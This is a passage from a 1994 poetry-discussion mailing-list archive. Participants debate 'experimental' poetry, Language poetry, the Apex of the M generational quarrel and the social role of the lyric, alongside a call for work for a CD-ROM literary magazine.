3 These thousand lights have been said to be the transcendence of writing itself; the individual letters actually writing the world onto the face of divine justice - the joined matter and spirit, act and potential in the Jovian sphere. See chapter two of Jermey Tambling's Dante and Differance, Cambridge, 1988.

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7. Benjamin H. Henry
Little Magazine Call For Work
Tue 1 Nov 1994

November 1994

Issue 21 of _The Little Magazine_ will be distributed as a cd-rom, and we are looking for work which maximizes the potential of this medium. We encourage contributors to conceive of their submissions as multi-media "texts" which can incorporate graphics, audio and hypertext (as a partial listing of the possibilities). "Straight" texts will also be considered, especially those concerned with issues relating to electronic medium (the attitude need not be positive).

We will produce the journal using a Microsoft Windows system and Asymetrix Multimedia Toolbook, and accept submissions on disk (MacIntosh format possible but not preferred), or via e-mail, ftp, or DAT. Paper as a last resort! Graphics work is preferred in a digitized format, though, if required, we can digitize work for you. Our conceptual / diagrammatic deadline is January 31, and technical / final deadline is April 1. Please contact us as soon as possible if you have work to contribute.

The Little Magazine
Department of English
SUNY-Albany
Albany, NY 12222
[redacted]

Look forward to hearing from you,

Thanks!

The Editors

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8. Steven Howard Shoemaker
calling G1G2...this is mission control
Tue 1 Nov 1994

> *At the point that David wrote Pcoet, he was either about to (or just had) abandoned his idea of ever finishing his dissertation (the one chapter he wrote appeared in the Maps special issue on Zukofsky), and came out of the closet to his students at Berkeley with a vengence, platform shoes and glitter in his beard. There was absolutely no way that any one confronting either him or that text in those days could not see the text's relation not just to the history of modernism but also to what was then known as "gender fuck" politics.*

As someone struggling with my own dissertation on the Objectivists, i found this image of a newly freed Melnick in platform shoes, an image apparently hovering just behind the text, delightful. Problem is, i'd read the poem before & never been visited by this apparition. And maybe i'm only advertising my own lack of in/sight but i defy anyone to conjure it from those pages in INTAT alone. The point is that in its absence, i'm not sure how clear the whole "gender fuck" issue is (wasn't clear at all to me). The larger point, as i see it, is that many of these sorts of discussions, of poetry and "the social," posit a larger (reading) context for the poetry that is simply an illusion (despite the fierce energy and intrinsic interestingness of some of the discussion). Where i live i am defined against almost everyone i know by the fact that the latest ish of Talisman or Sulfur might be found lying around my apt. That puts me in a pretty small group--yet i'm pretty far out of the loop when it comes to the current G1/G2 debate--much of which, it strikes me from the outside, will turn on precisely those Melnickean personal filigrees to which Ron alludes--and these are supposed to verify the political dimension of the work? And on this point, i have to say, despite my longstanding sympathy w/ the LangPo effort, that if people have insisted on objecting to what they see as that group's exclusionary emphasis on the centrality of language (which is key to the claim

for social efficacy of poetry), it is only because the original writings are full of such assertions of linguistic centrality. It may be true, as Silliman indicates, that no one actually believed it, but the extremism of assertion was itself part of the way the "group" worked and undoubtedly a crucial factor in its "success" (w/in an extremely limited field). The question remains: what is the larger social efficacy of the sorts of "resistances" LangPos have advocated? How exactly does the social enter the poem and the poem the social? How do discussion like these keep from remaining hopelessly INTERNECINE??

steve shoemaker

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9. Jeffrey Timmons

Re: Failed Experiments

Tue 1 Nov 1994

On Mon, 31 Oct 1994, George Bowering wrote:

> *That piece by Timmons was pretty bad, eh? I'd say that it failed at something, and shouldnt have been published here.*

Which, within the context of the "discussion," is another way of saying that it was a successful experiment--though the criteria for success must be garnered through an ironic reading.

Jeffrey Timmons

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10. Patrick Phillips

Re: "apex of the M" - essay excerpt

Tue 1 Nov 1994

I must apologize for the hastily strung preface to my excerpt. The garbled sentence should read:

Just how does one act when the church is on fire?

I should also add that I find myself, by vice or virtue - not by age, outside G2, though most of my friends are card carrying. My poetry is god damned lyrical though, so according to prophecy, I should be getting my card in the mail any day now.

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11. Jeffrey Timmons
Re: calling G1G2...this is mission control
Tue 1 Nov 1994

Steven Shoemaker's question is an important one: How does the social enter the poem; how does the poem enter the social? Such questions seem highly valuable in ascertaining not only relationships between aesthetics and the larger social world, but the place of the arts (and artists) in that world. I'm very interested in hearing what other people's ideas are about such notions of influence between the social and the personal, particularly as they relate to aesthetic production and their place/influence/relationship to history and context. I've been exploring Marxist, particularly Gramscian, views of how the social and the aesthetic interact but I have the sense that they, while useful, remain vague and ill-defined. The notion of "use" that was raised seems pertinent, but I'll have to reread (always) those entries to see if they can be inserted into Steven's question. I am always reminded of Emerson in "Art" where he finds the distinction between the useful and the fine arts limiting and stifling--perhaps the answer (were there ever any one) would lie in that direction.

Jeffrey Timmons

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12. Tony Green
Re: calling G1G2...this is mission control
Tue 1 Nov 1994

Isn't "the poem", lock schlock and barrel, constituted by a writer who has continuing relations with the body politic, like it or not -- thrown-ness as in Jim Morrison (rr or r] & Charles Bernstein have liked to say -- following Heideggr, I guess. Oh yes aesthetics happens somewhere else then where, old bean, huh? Aesthetics is a blind for social and money interests mainly.

Confucius never found anyone who was disinterested -- & that makes questions for a whole tradition of separations and purifications in the name of art (i.e. Milord's fetishized pictures and objets d'art, later property of boards of trustees of museums, or MS of Vergil, as sandwiched in plastic sheeting in Vatican to be literary. Poet's letters, Palgrave and subsequent anthologies in the college market].

Jean Calais's translations of Villon are all in vain....Everyone wants to be a big artist these days. There must be more in poetry than anyone has thought. Could it be that there is a real power in it/always ideologists want to bring it under their control, as instrument. Like music, it keeps on escaping ideological

control clutches, saying more than it means to, or less. Let's hope there is a real poet among the new writers, or even two. Surely "G1" or any G at all including G-6 (dead poets of circa Mallarme's time will welcome them, by opening new readings to us, readings we had missed, but which may be what we have always really longed for. Belonging to no G in the U.S. (wrong age) but listening as a reader/user to several U.S. G's with pleasure, excitement, appropriative glee, there is no reason to choose among generations, only to pick out the plums. This you learn in "art history", who says there's progress between generations, so that noone can consider themselves righteous who can make use of "early" artworks? Does the saying of a poem work like a charm as entry to a space of thoughts and language issues and issues of living and the politics of living or not? Noone can quite tell what will prove to be useful and sometimes it happens that a misprint retained does the trick. L= was marvellous because it accepted that conscious control of the way words got into the poem could be consonant with disorders that seemed to be the preserve of chance procedures or of lyrical speaking with tongues.

It did not only "displace" "personal poetries" (Downtown poetries various, variously remaining in some degree acceptable or with affinities) but also the hopes for the upsurge of deep image to recreate the body and the body's politics. I look to see with interest which models from the recent G's various will reappear as the mashed potatoes for the younger poets. I could see aspects of beat poetry being valuable as well as the "spiritual" poetries of say Robt Kelly or George Quasha....

If I see the arts as a zone for freedoms, someone will now surely tell me my responsibilities. __ That sounds like a job for Ron Silliman. __ I'm impressed with Tom Mandel's comments on "use" and I hope this will be seen as pushing in something of that direction as well as a rejoinder to the Shoemaker questions.

This medium is great for filling in times like sitting in office waiting for next lot of exam papers to come in. Hello. American poets, it's half-past four on an early summer afternoon, --- here is your wake up call.

"The difference is spreading."

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

13. Tony Green
Re: experiwhat?
Tue 1 Nov 1994

Not Mandel only, but Patrick Phillips on use, and impoverished uses of this facility, ending "Form is rampant". There's politics!

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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14. Patrick Phillips
Re: "apex of the M" - essay excerpt
Wed 2 Nov 1994

Although I've been presumptuous enough already, I left off two important notes in the excerpt:

4 My progression to a notion of poethics can't help but take up, through parallel, Levinas' notion of Heideggers' Ontology. In Otherwise Than Being (pg. 103) Levinas charges Heidegger with doing to Being what the M'sters have done with any notion of making, or of poetry.

Ontology as first philosophy is a philosophy of power. It issues the State and in the nonviolence of totality, without securing itself against the violence from which is nonviolence lives and which appears in the tyranny of the state. Truth, which should reconcile persons, here exists anonymously. Universality presents itself as impersonal; and this is another inhumanity....A philosophy of power, ontology is, as philosophy which does not call into question the same, a philosophy of injustice. Even though it opposes the technological passion issued forth from the forgetting of Being hidden by existents, Heideggerian ontology which subordinates the relationship with the Other to the relation of Being in general, remains under the obedience to the anonymous, and leads inevitably to another power, to imperialist domination, to tyranny. Tyranny is not the pure and simple extension of technology to reified men. Its origin lies back in the pagan "mood," in the enrootedness in the earth, in the adoration that enslaved men can devote to their masters.

5 In Iconology (Chicago, '86) W.J.T. Mitchell plots out some of the rhetorical image-making used by Marx and his contemporaries in an effort to get to an understanding of "The Rhetoric of Iconoclasm." From the chapter so titled he examines empiricist and idealist models of history to illuminate Marx's critique of fetishism and "its dialectical counterpart, the phenomenon of iconoclasm." Although his argument in no way resembles my own, I feel there is an pertinent quote from the passage called "the Dialectics of Iconoclasm:"

Iconoclasm has a history at least as old as idolatry. Although it always tends to appear as a relatively recent, revolutionary breakthrough, overturning some previous established cult of image-worship (the Protestant Reformation breaking with Roman Catholicism, the iconoclasts of the Byzantine Empire opposing the patriarch, the Israelites escaping Egypt), it regularly presents itself as the most ancient form of religion a return to primitive Christianity, or to the religion of the first human creatures, before a "fall" which is always understood as a fall into idolatry. Indeed, one might argue that iconoclasm is simply the obverse of idolatry turned outward toward the image of a rival, threatening tribe. The iconoclast prefers to think that he worships no image of any sort, but when pressed, he is generally content with the rather different claim that his images are purer or truer than those of mere idolaters. (page 198)

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15. Michael Boughn

Re: experiwhat?

Wed 2 Nov 1994

This is a bit of a long post, which is, I know, against the rules, and, worse, rude. I apologize in advance, but having initiated this discussion, there's a lot I need to say at this point. The multitude of repsonses have been extremely interesting in their diversity and inventiveness, but none has yet convinced me that the phrase "experimental poetry" is either meaningful (apart from idiosyncratic imaginations of it : private languages) or particularly useful. On the contrary, after everyone has said their piece, it seems more confused and confusing than ever. For me, the most attractive defense so far has been Robert Kelly's, which he achieves by returning experiment and its science to their mysterious alchemical sources, and the notion of proceeding not knowing what the outcome will be. Even then, though, the idea that only some poetry is initiated not knowing its outcome seems based on the very same violent taxonomy I was trying to shed some light on in the first place.

If we take this secondary definition of experiment as the operative one in relation to poetry, the unspoken implication is that there is something we can

call non-experimental poetry. What exactly would that poetry be? Poetry that knows what its outcome will be before it starts? What does "outcome" mean here? What the poem ultimately "says"? How the poem ultimately "works"? Frankly I don't think I know of any poetry like that, even the poetry I am least interested in. Even the most predictably conventional, it seems to me, can, and frequently does, contain surprises, the unexpected. To know the outcome before you write is to produce manuals, not poems. Even someone like Timothy Steele, I'd argue, doesn't know what results his rhymes will produce before he writes them.

Perhaps the key is the word "conventional". Or, dare I say it, "predictable", thus returning us to the world of experimentalism. (But if a poem is predictable, can't this be part of an experiment? Experimenting to see if certain conventions will produce consistently predictable results?) Let's say there is a complex structure of conventions the poet has at her disposal, conventions that extend from phonetics to syntax to semantics to form (something like the grammetrical model Donald Wesling works out in *The Chances of Rhyme* and *The New Poetries*). In one sense, a poem embodies a structure of choices (conscious or unconscious, controlled or random) that array language in complex relation to those conventions. Certain patterns of convention dominate at any given moment the cultural sense of what constitutes a contemporary poem.

We recognize Shakespeare's sonnets as poems, even great poems, at the same time we know they are not contemporary poems. Compare them with Bernadette Mayers' or Jack Clarke's sonnets. Their sonnets are absolutely contemporary in every way, even though, or maybe especially because, they work with a 600 year old form. I don't know how Bernadette would refer to her work, but I think Jack would blanche at the word experimental. You could say Los doesn't experiment, Los creates. Is this a meaningful distinction? My sense is that every phoneme, every stress, every rhyme, every reference in Jack's sonnets work within and against the array of conventions to mark out a moment of awareness of the particularity of the astonishing complexity of relation between language, thought, myth, history, sound, silence, rhythm, self, other, social, personal, elsewhere, here, time, and eternity. What Girogio Agamben calls "whatever being" in *The Coming Community*. This is not something I would think of as experimental.

Let me go back to the question of the relation to convention as a way of distinguishing between poetries. Let's assume that at certain times certain conventions dominate writing to the point that they no longer even seem to be conventions, they are simply seen as constituting (good) writing. And as a result, meaning itself becomes predictable and conventional. Moreover, the conventions can be seen as upholding certain conventional and oppresive forms

of life. One alternative for a poet in those circumstances is to try to subvert the forms of life by subverting the dominant conventions in her work.

Is this something people mean by "experimental"? And if so, is it more important under these conditions to not know what you're doing (what your desired outcome is) or to know? Or is it possible in some sense to both know and not know at the same time? Say, to know generally, but not to know specifically. What does it mean to not know in this context?

Let me return for a moment to the idea of a situation in which a specific form of literay convention has become authoritarian and can be seen as upholding certain oppressive forms of life. In this situation, is it possible to address, even subvert, those oppressive forms of life from within a writing based on those dominant conventions? I think this is the kind of writing Keith Tuma referred to a few months ago during the great anthology debate, i.e. the writing of someone like Thom Gunn, or, say, Louis Zukofsky when he's writing sestinas.

If we acknowledge that it is possible, that means that the link bewteen the forms of literary conventions and the forms of life is metaphorical, not actual, and that some other issue is at stake here in the writing. Let's call it "meaning", where we understand that in a broad sense of the overall signifying power of the poem, the numinous "cloud" of significance generated by the totality of the poem's phonic, visual, semantic, and temporal structures.

In this model, the relation to convention, while meangingful, does not determine meaning. If we understand "experimental" poetry to be poetry which resists in some way(s) the dominant conventions by "not knowing" what it's doing, what its outcome is, it could in any case still be upholding the very oppressive forms of life it seems to be subverting, or trying to subvert. That is, it could banal, predictable, pretentious, self-indulgent, tedious--even authoritarian (and, as Joel Kuszai pointed out, sometimes is).

What, then, is the use of this distinction? Rather than clarifying the issues facing writers today, it obscures those issues by creating a dualistc taxonomy which implicitly attaches value to sheer formal exuberance or lack of control or even ignorance.

I know there's a whole other dimension to this question that has to do with practical considerations of identity, recognition, publication, government money, etc. A number of people made interesting observations about these issues and the question of lables. These are important questions, but they're not questions of principle. They should not be confused with principles, nor allowed to confuse them.

Adios,
Mike
[redacted]

PS Peter Quartermain tells me Gertrude Stein denied she ever wrote an experiemntal work. How should we understand that?

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16. Loss Glazier
Re: experiwhat?
Wed 2 Nov 1994

Mike,

In the airport recently I observed a man wearing a tee shirt upon which was written, in huge block letters:

WHY?

BECAUSE I SAY SO.

This to me sums up this question re: the issue of "experimental" (allowing that we are not talking any more, which would yield no results, postulating a hypothesis and then trying to prove it.)

What I mean to say is that if you take Timothy Steele or people secure in the academy more importantly, where these people come from, that they are invested with some authority and the line really falls where they have the confidence (vs permission, in Duncan's sense) of being able to "say so."

I mean when I saw the t shirt I thought who is his audience, his children, his significant other, airport personnel. But in the end it didn't matter to whom it was addressed (maybe it was only to me!) there was no doubt from the look in his eyes, whether he was going to be "experimental" or "conventional" that his audience would have to yield.

That's the point I'm thinking as I do my own scribbling somewhere out of his way.

Loss
Loss Glazier
[redacted]

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17. Ron Silliman
Flaming
Wed 2 Nov 1994

I've found virtually every response to my last post really valuable and useful. Especially Juliana's.

But I don't want this to be reduced to a "generational debate" since I don't see "winners" or "losers" but rather think I (personally) have a lot to gain from getting the sorts of insights that seem right now to be just popping out the various posts. Roadmaps to the writing are especially valuable.

Besides, if this is going to be Oedipal, I know which role that puts me in, thank you...

Some thoughts here on a few of Mark Wallace's comments.

>
>1) It is a standard hegemonic (not to mention racist and imperialist)
>move to take one piece of writing by some particular "group" (as it is
>defined from outside) as the example of what is wrong with that "group"
>as a whole, and then dismissing that "group" on the basis of that one
>piece of writing.

Yo, Mark. I'm not saying there's anything "wrong" with the Apex cluster and am trying to read them, not dismiss them.

One of many valuable lessons I learned from Jerry Rothenberg about 25 years ago was that it's very hard for any writer to read the work of people 20 years or more younger than him or herself. Writers of the NAP generation tended to cluster w/ regards to my own G1 into the following patterns:
1) Couldn't read it, didn't try
2) Wasn't what they expected, so dismissed it outright, sometimes w/ great hostility
3) Tried to be generous, but didn't really get it
(this was/is almost a majoritarian reaction)
4) Read it with interest, insight and made valuable responses to it

W/ regards to G2, G3...Gn, I'd like personally to aim for #4. And would appreciate any help I can get.

 It is even hegemonic, racist, and imperialist to refer
>to them as a "group."

What is the point of writing a collective "state of the art" if people don't take it seriously as collective action? I'm not the one grouping them together. I will

admit that use a governmental/institutional frame such as a "state of the art" address does put one into some heavy metaphoric territory. They're the ones who announced that they were the government, no?

Let's avoid flame wars of hyperbole and character assassination if possible. It makes it harder to read the work.

>2) "Make it new" was hardly a dictum put forth by someone interested
>in social liberation. Indeed, "make it new" is at least as effective as a
>capitalist slogan as it is as a call to radical change. And whatever the
>social effectiveness of the proponents of "make it new" in poetry (I
>think it's unclear, but worth discussing) their success has been
>undeniable in terms of their marketing of that concept and their
>promotion of poetry that fits the concept.
>

Actually, Pound was interested in social liberation. But he had a profoundly fucked up idea of what that might mean. The other point about making it new and the promotion of a poetry that fits the concept is one that the New Formalists have already made. Interesting to see it here.

>4) To see the "lyric" as somehow a force of social conservatism is
>simply HISTORICALLY UNVERIFIABLE. The lyric form, like the use of
>parataxis, collage, sonnets, whatever, is a possibility that can be
made use of, or discarded, in a variety of historical situations.

I think that a social examination of the lyric is a great project to think about working on. I've even contemplated the idea of a booklength study. Especially since the definition of lyric changes I think (part. in the late 19th century) as its differentiation from dramatic & narrative modes dissolves in poetry due to the arrival of other more powerful dramatic/narrative media, the novel, cinema, etc. Pound's tripartate logopoeia, phanopoeia, melopoeia are an attempt I think to rescue that earlier distinction, essentially dividing lyric into all three houses of the poem. But the underlying question becomes, what is the social meaning of the lyric? In O-blek 12, as I read it, it seems a return to the personal and local, which in turn can mean a lot of things. I'd like to figure out just what those are.

In general, I think that all forms are amoral and can be used from any poltical/social position depending on the context.

> *5) I don't think it's at all clear whether younger writers are "returning to the lyric." But if writers are using lyric forms, the question to ask is NOT "what's wrong with those writers?" but rather "what is it about the contemporary social environment that makes the*

> *lyric seem useful to some writers" or "what is it about the lyric that makes it seem useful to some writers in this social environment."*

EXACTLY!!

>7) In fact, my objection to Lew Daly's introduction to Apex of the M is... that it repeats the same Oedipal MALE model of thinking your poetry has value only if you can "overthrow the enemy." My problem with his introduction is ... that IT LOOKS TOO MUCH LIKE THOSE MANIFESTOS.
>

It wasn't Lew who signed it. According to Alan & Kristin, they all worked on it together, to the point that even some sentences were collaboratively written.

>8) But the idea that Lew's work, however interesting or not, is a >statement of MY poetics, or that of Steve Evans or Jena Osman or whoever,

Nobody ever said it was. Or Jena's or Juliana's or Joel's or most anybody else in O-blek 12 except for the very particular few who actively commit themselves to some version of its argument. So people like Will Alexander and Elizabeth Robinson stand in an interesting relation to it, not a part of that declaration but obviously very sympathetic to its conception of a spiritual poetics. Not clear at all how they would stand w/ regards to State of the Arts rather bellicose stance toward the past.

I have found people in O 12 who themselves felt that putting the spirit section first in Technique "yolked" them into its general thrust and felt very much ripped off by that, precisely because they did not buy into the underlying argument and felt that putting it first created a sense of that. I've heard that from at least 5 contributors.

The value of State of the Art is that it makes explicit what O 12's editing structure seems to imply. Very hard to read it as an accident of the alphabet.

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18. Ron Silliman

Re: "apex of the M" - essay excerpt

Wed 2 Nov 1994

That Mitchell quote is illuminating. Though I'm amazed that in 1986 he still uses "he" as a gender neutral third person!!
>

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19. Robert Drake
Re: Little Magazine Call For Work
Wed 2 Nov 1994

folks--

good

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20. Mark Wallace
Re: Flaming
Wed 2 Nov 1994

I thought it was clear from my opening comment that my remarks were not directed at "attacking" the comments made by any one particular post. It's interesting that my attempt to avoid doing so can be taken that way.

Some further responses, this time in particular to what Ron has said.

1) I think I was suggesting, at least partly, that the reductive grouping of various poets BEGINS in the introduction to the Apex of the M. By turning "Language Poetry" into some one particular thing, they unfortunately invite the kind of attacks that turn THEM into one particular thing (altho I find it unfortunate that that is what had to happen)

2) I think it may be a stretch to say that Pound was ever interested in liberation, altho he may have been interested in revolution. I really do wish that history bore out the conclusion that revolution and liberation were the same thing, but I'm afraid it doesn't. And to say such a thing is not to say that revolution is bankrupt, by any means. But reductive thinking about what revolution entails (and again, this is not to say that anyone has done this recently) is NOT going to help revolution be successful.

3) The idea that poets respond to the past as much as remake the present does not imply a return to radical formalism any more than noting that the avant garde has traditionally been racist and sexist is a conservative insight.

4) The idea I want to put forward is that we need to rethink the relation of the avant garde to the history of social liberation. And I think it's not at all clear that avant gardists have always been as socially revolutionary as they would like to claim. I think it's not at all clear that new forms equal greater freedom, altho I do think that poets can make use of form to respond to changing cultural dynamics. The unexamined conviction that the avant garde is by definition involved with social liberation has to be examined, and to say so is not conservative.

5) It may be that there was some group editorial input on the Apex of the M introductory essay. But the tone and style is undoubtedly Lew Daly's, as will be clear if one reads his essay in A Poetics of Criticism.

6) In fact, it is quite possible that a "poetic revolution" among younger poets may find certain ideas in so-called "Language Poetry" to be reactionary, heavily male-oriented, and wedded to a concept of "make it new" that itself is conditioned by a certain blindness to the historical/social/cultural of its own discourse. But I myself would reject such a revolution, since I think the poetics of writers like Ron Silliman, Barrett Watten and others is more complex than that. But the argument I'm suggesting here is going to be made, and the people who make it will not necessarily be conservative.

7) I don't see how any of these comments can be considered a "flaming" attack on anyone's personality, altho I'm tempted to resent the aspersions that what I've said is "flaming"--and I wonder about the heterosexist implications of a word like "flaming" anyway.

8) I'm tempted to think that at this point in time, the lyric may be a socially revolutionary form than the manifesto. But I have no certainty on this subject. In fact, I guess I think it must be true that the manifesto is still useful, altho it feels awful tired at the moment.

mark wallace

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21. Mark Wallace
Re: Flaming
Wed 2 Nov 1994

Some last updates, etc., and then, since I may have helped confuse rather than clarify matters, I'll shut up (tho I don't really mind confusing things)

In #3 of my previous message I don't mean "radical formalism" but "traditional formalism"

What Tony Green says about "internicene" warfare really hits home--it's a shame that my comments potentially sparked more misunderstanding (as if we don't already have enough of that). That was not my intention for them. Perhaps my own frustrated sense that a lot of people were not reading each other with sufficient complexity led me into precisely the same error that I was suggesting they were making.

On the other hand, I'm never sufficiently comfortable with my own assumptions about the "significance" of experimental poetry, and so I'm perhaps equally determined to question the assumptions of others regarding the value of that

work. It's quite possible that when I do that, it can too easily be read as another call to warfare.

mark wallace

↑ Index

22. Joel Kuszai
Re: "apex of the M" - essay excerpt
Thu 3 Nov 1994

> *From: TRIXY*
> *To: "[redacted]"*
> *CC:*
> *Subj: please don't forward this*
>
> *Dear Cookie, I thought I'd send you this, as otherwise you might not see it, receiving only a few of the missives fired at Fort Sumter since the Dresden incident. I think I'm done with the poetics list. Stop sending me stuff. I can't bear it any longer. Can you believe that shit? that endless chatter? the only thing worse would be having to get drunk with those people. but Ron, he's so funny--does he mean to be that way, and what does he look like anyway? he is cute? I don't understand what's up with the Apex of the M--you showed me that essay but I didn't understand it. Trixy dont care. Trixy have better things to do.*

HEY TRIXY!

thanks for your response. I've been working on some other stuff so it took me a while to respond. Hope that's cool. Yeah, I promise not to send what you write to anyone else. And if you are really serious I'll stop forwarding you stuff from the poetics list. I am eager to do other things too.

I think - despite the waves of chatter - that something could still be accomplished on the e-mail thing, although I have no idea as to what it would be. I mean it's not like we are going to get down to any level of praxis or meeting downtown some night to break windows or somthing...which is what I think the political leads to anyhow...

Yeah, I too thought Ron was quite generous with the M'ers. I mean it is true - he's quite right - they are really trying to do something, which isn't very normal these days. I don't get the point of it. And don't worry about the editorial, you should read Lew's book--talk about incomprehensible! it is great writing, if you don't mind things being muddled by the psycho-sexual--but the editorial - the "declaration of war" as Ron seems to think it is -- the self-appointment to the "government"! -- I love that. I think Ron's pretty funny too. The problem, for my

two-dollars and eighty cents, with the Apex thing is that they are trying to be political but are insisting on the spiritual -- which for me is only political when grouped into assembly for power reasons (i.e. a church) otherwise the spiritual is like, well, you know, kind of acquiescent by defualt--I mean sure, Koresh was able to bring the ATF to his front door--if that's political then let me out now--the real politics worth examining there is the refusal of the social--the manipulation of people in the name of "faith" which always slams the door on the social--here the spirital gets for me kind of sticky and icky -- like the fear of identity within the new coasteries -- hatcheries -- the fear of identity there is on identitarian grounds--the anti editorial mode is still an editorial - one of acquiescence and consent, however tacit. At least the M has some fire under their caps...and don't worry trixie, the next issue is due out soon, and word is that Prevallet wrote this one-- anybody who knows them knows that she has a mind of her own and that -- even with all the group editing in the world, I think, she is really into something different than Lew or Alan, or Pam for that matter--perhaps not hostile to them, but different enough to make the "group editorial" thing an unfortunate effacement. They will have to put their cards on the table soon enough. Poetry as Chillen of the Corn, or Jack-in-the Box will be gone of roadside ephemera soon enough. I mean the true "analysis" of our/any generation is to look at where the money comes from and how it is spent -- anyone can buy a spot on the literary register, the who's who of who cares

been reading the situationists for Bernstein's class, wondering how people are going to react to it. I am afraid we'll get into a chapter & verse argument about Debord--maybe people will like him. Kind of hard to be in school and reading that stuff. Reminds me of when what's his face in Portland ore. changed all the street-signs in downtown to "Malcolm X" - it had a pretty wild effect at the time even if it was simply consumed, just as that group's efforts during the gulf war were completely co- opted by the spectacular; I mean going into restuaurants with gas-masks on trying to scare the eaters into some kind of political resistance, I mean come on, despite the disruption, I doubt anyone lost their appetite, and I'm sure there was hefty applause at the end. How yuppie (fake concerned) of them. The protest thing pretty much ended with them all "marching" around downtown portland with a police escort, I mean, led by the police escort. I remember sitting in my living room with John the night we started bombing there...we didn't have any lightbulbs that worked and no TV, just a clock radio, but that was enough. I felt competely incapacitated by the whole thing. All we could do was play music. There was only a bit of hope, word from seattle that some nut had opened fire on I-5 with some kinda automatic weapon. But that's not what the world heard. I don't know what the world heard.

But the situationists. Shit. I read ten pages of that stuff then start pacing in my cage. I love it in the anthology where its written that the goal of the movement was to "complete and displace poetry." --an aspiration not too difficult to like, although I wonder what the hell it means. Situationism, as debord points out in that first part of the "Veritable Split of the S.I. public circular" book that situationism becomes as much the understanding of the enemy, who need to know it in order to fight it (through using it??) and then Trix, who then, may I ask? are we?

> *The results of the poetics poll:*
>
> *What was it that Mean Joe Greene threw to that kid by the tunnel? Was it a jersey, a coca-cola T-Shirt, a flag of surrender? And if it was a flag of surrender, was Mean Joe Greene (and _all_ he represents) surrenderring to that kid, or what he suggesting that the kid surrender to him. Is he here a "warrior" or a "servant"? Is there any thing at all different about that ad (give or take a few years very much G1) and the one featuring Shaquille O'Neal intimidating all the kids on the court except one little one who refuses to give his drink to Shaq.*
>
> *look, joey, trixy dont get it. Trixy say "make your point" and get off the stage. Trixy wanna find you all alone in an advertisement and push you up against one of those new cars and violate you.*
>
> *"I wanted to write a poem*
> *that would teach you to read."*
>
> *I like that! did you write that or is it from a real writer?*

it's a joke

> *Did Ron Silliman really stand on a street corner reading his poetry to anybody who was passing by?*

that's what I heard/read--perhaps one of us should write to him and find out. Kind of an embarrassing thing to ask, no?

> *Brathwaite reports that Mikey Smith was stoned to death in Kingston, Jamaica, presumably for his political activities. Smith was a "dub-poet" -- quite "popular" I guess, died about ten years ago ?? although I'm not sure. I got to Smith via Brathwaite but I don't know much. When the semester is over, and I can do what I want, I'm going to find out more about this.*
>
> *Before her death in 1977, Danielle Collobert had been involved with the "Algerian situation".*
>
> *why do Trixy feel such despair!*

oh Trixy, my friend, please don't feel such despair....

love in all evenings,

yo mama

p.s. Ron is cute, but the one you really wanna meet is Steve Evans

and about your age...

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23. Jeffrey Timmons
Re: Protest of Gulf War in Portland, Or
Thu 3 Nov 1994

A marginal concern of mine, not meant to inflammatory:

While they were bombing baghdad at least those of us who were "marching" expressed our rage--no matter how contained it was--against what was going on. I can't help but think no matter how "consumed" such actions were (are) that sitting at home with no light bulbs is even more determined. Sorry if this is less than relevant; it seemed important to me.

Jeffrey Timmons

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24. w.curnow
Re: Experiwhat?
Fri 4 Nov 1994

It would be nice to trace a history of the phrase--"experimental poetry"--I think it was Tom Mandel writing. That history I feel sure belongs with that of modernism--and not just modernist literature--and more partic- ularly of its scientisms. "The arts, literature, poesy, are a science, just as chemistry is a science" Pound in l9l3. There's a book, CRITIC AS SCIENT- IST, The modernist poetics of E.P, by one IanBell. Someone was saying Stein denied writing experimentally. although her lab. work with Prof. Wm. James clearly had a direct bearing on her ideas about and practice of fiction. The first definition offered by Zukofsky for OBJECTIVE (ism) is from Optics. Mod- ernist scientism seems to have 2 purposes (at least), the first having to do with re-positioning the artist socially, as more serious (Pound's essay, "The Serious Artist"), artistic knowledge as hardcore, etc. and the second to do with establishing the "autonomy of the modernist art object" as we would today put it. Precise description of the object, impersonality--here we have Eliot's n otorious catalyst analogy--of the writer and so on. And so the short answer to the q uestion as to why people on this list are un- comfortable with, can't see the

sense of, want no more to do with, the phrase is that the context which prompted its appearance and the purposes its served have both long gone.

So another way into, or out of
this discussion, would be to take that discomfort as a sign of our uneasy relation with modernism .

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25. Jeffrey Timmons
Re: Hardcore
Fri 4 Nov 1994

Probably repetitious by now: The part the new critics played in creating a "hardcore" object of study, with its own scientific processes and procedures should not be forgotten. I.A. Richards's "Science and Poetry" (or was it Poetry and Science? no, it must have been Science and Poetry) would be interesting to place in the context of a such a study of the relationship of "exp" poetry to the development of "hardcore" knowledge/poetry. Of course, mind you, it has been done . . . but the history of "exp" in this context still would be unique, I think . . . .

Jeffrey Timmons

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26. John Shoptaw
experiment
Fri 4 Nov 1994

As unlikely as it seemed when I first climbed under the Buffalo blanket, I find myself sending a message on Wordsworth. His 1802 Preface to the second volume of the Lyrical Ballads begins with perhaps the most influential use of poetic "experiment" in the English canon. WW says that LB was "published, as an experiment, which, I hoped, might be of some use to ascertain, how far, by fitting to metrical arrangement a selection of the real language of men in a state of vivid sensation, that sort of pleasure and that quantity of pleasure may be imparted, which a Poet may rationally endeavour to impart." If we think of the "quantity of pleasure" as something measurable, like "energy" we're not far from OlsonUsOlson's formulation of poetry as an electronic mail in which, if the lines are good, the reader gets the poet's charge. Wordsworth (and Coleridge, collaboration demonstrating the "objective" worth of the project; if two could work on communicating "real language," then the project might establish "a class of Poetry" which others might join) experiments not only with language but with readers; if nothing happens to readers, the experiment fails. The preface, written after LB went into circulation, reveals his unscientifically

